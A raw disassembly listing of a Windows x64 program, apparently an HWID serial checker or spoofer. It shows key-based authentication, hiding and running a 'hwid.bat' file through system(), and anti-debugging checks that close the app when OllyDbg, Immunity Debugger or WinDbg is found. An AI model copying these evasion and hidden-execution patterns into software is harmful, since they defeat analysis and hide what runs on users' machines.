call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov edx, 6
lea rcx, str.hwid.bat
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rcx, str.hwid.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
jmp 0x140061a9f
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcerr]
lea rdx, str.Error:_Unable_to_get_the_executable_path._n
call fcn.1400599d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x1400f9bd8]
call fcn.1400599d0
mov edx, 9
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x1400f9be0]
call fcn.1400599d0
mov edx, 7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, [0x1400f9be4]
call fcn.1400599d0
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_wchar_t__struct_std::char_traits_wchar_t___std::wcout]
lea rdx, str.Checked_Serials_n
call fcn.1400599d0
call qword [sym.imp.USER32.dll_GetDesktopWindow]
mov rcx, rax
lea rdx, [rbp + 0x2a8]
call qword [sym.imp.USER32.dll_GetWindowRect]
call fcn.140024760
call fcn.140024760
call fcn.140024ce0
mov rcx, qword [0x14011c888]
mov r9d, 3
mov dword [rsp + 0x30], r15d
xor r8d, r8d
movss dword [rsp + 0x28], xmm9
xor edx, edx
mov dword [rsp + 0x20], r15d
mov rax, qword [rcx]
call qword [rax + 0x158]
mov rcx, qword [0x14011c888]
mov rax, qword [rcx]
call qword [rax + 0x148]
test eax, eax
js 0x140061b8e
call fcn.14002f3d0
call fcn.140026ed0
mov rcx, rax
call fcn.14004a810
mov rcx, qword [0x14011c888]
mov rax, qword [rcx]
call qword [rax + 0x150]
test dword [r13], 0x400
je 0x140061ba6
call fcn.140035160
xor edx, edx
xor ecx, ecx
call fcn.14002ffe0
mov rcx, qword [0x14011c888]
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], r15
xor edx, edx
mov rax, qword [rcx]
call qword [rax + 0x88]
cmp eax, 0x88760868
jne 0x140061bff
mov rcx, qword [0x14011c888]
mov rax, qword [rcx]
call qword [rax + Ordinal_26]
cmp eax, 0x88760869
jne 0x140061bff
call fcn.14004a650
mov rcx, qword [0x14011c888]
lea rdx, [0x14011c890]
mov rax, qword [rcx]
call qword [rax + 0x80]
call fcn.14004a210
cmp byte [reloc.WS2_32.dll_accept], r15b
je 0x140061d5b
mov esi, dword [0x14011d5f0]
lea rbx, str.OllyDbg
mov r14, qword gs:[0x58]
lea rdi, str.Immunity_Debugger
lea r12, str.WinDbg
cmp dword [rbp + 0x260], 0x12
jne 0x14005f8b0
call fcn.14004b460
call fcn.14004c490
xor ecx, ecx
call fcn.14001c9a0
mov rcx, qword [0x14011c888]
test rcx, rcx
je 0x140061c67
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14011c888], r15
mov rcx, qword [0x14011c8d0]
test rcx, rcx
je 0x140061c80
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov qword [0x14011c8d0], r15
mov rcx, qword [0x14011c880]
call qword [sym.imp.USER32.dll_DestroyWindow]
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
movaps xmm14, xmmword [rsp + 0x8c0]
xor eax, eax
movaps xmm13, xmmword [rsp + 0x8d0]
movaps xmm12, xmmword [rsp + 0x8e0]
movaps xmm11, xmmword [rsp + 0x8f0]
movaps xmm10, xmmword [rsp + 0x900]
movaps xmm9, xmmword [rsp + 0x910]
movaps xmm8, xmmword [rsp + 0x920]
movaps xmm7, xmmword [rsp + 0x930]
mov r14, qword [rsp + 0x990]
mov r13, qword [rsp + 0x988]
mov r12, qword [rsp + 0x980]
movaps xmm15, xmmword [rsp + 0x8b0]
mov rcx, qword [rbp + 0x7a0]
xor rcx, rsp
call fcn.1400afa60
movaps xmm6, xmmword [rsp + 0x940]
add rsp, 0x950
pop r15
pop rdi
pop rsi
pop rbx
pop rbp
ret
xor r9d, r9d
lea r8, str.Auth
lea rdx, str.Key_doesnt_exist__
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov dword [rbp + 0x260], reloc.WS2_32.dll_select
jmp 0x140061c3d
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Debugger
call fcn.140059770
mov rcx, rax
mov rdx, rdi
call fcn.140059770
mov rcx, rax
lea rdx, str._detected._Closing_app.
call fcn.140059770
mov rcx, rax
lea rdx, [0x14005a020]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.Debugger
lea rcx, [rbp + 0xa0]
call fcn.140005dc0
mov rdx, rax
lea rcx, [rbp + 0x2a8]
mov r8, rdi
call fcn.140007360
mov rdx, rax
lea r8, str._detected._Closing_app.
lea rcx, [rbp + 0x288]
call fcn.140007360
mov rcx, rax
call fcn.140005cd0
mov rdx, rax
lea r8, str.Anti_Debugging
mov r9d, Ordinal_50
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
lea rcx, [rbp + 0x288]
call fcn.140005d60
lea rcx, [rbp + 0x2a8]
call fcn.140005d60
lea rcx, [rbp + 0xa0]
call fcn.140005d60
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [0x14011c8d0]
mov rdx, qword [0x14011c888]
test rdx, rdx
je 0x140061e59
mov rax, qword [rdx]
mov rcx, rdx
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [0x14011c8d0]
mov qword [0x14011c888], r15
test rcx, rcx
je 0x140061e6b
mov rdx, qword [rcx]
call qword [rdx + reloc.WS2_32.dll_recv]
mov qword [0x14011c8d0], r15
mov rdx, qword [rbp + 0x198]
mov rcx, qword [rbp + 0x1c0]
call qword [sym.imp.USER32.dll_UnregisterClassA]
mov eax, 1
jmp 0x140061d0b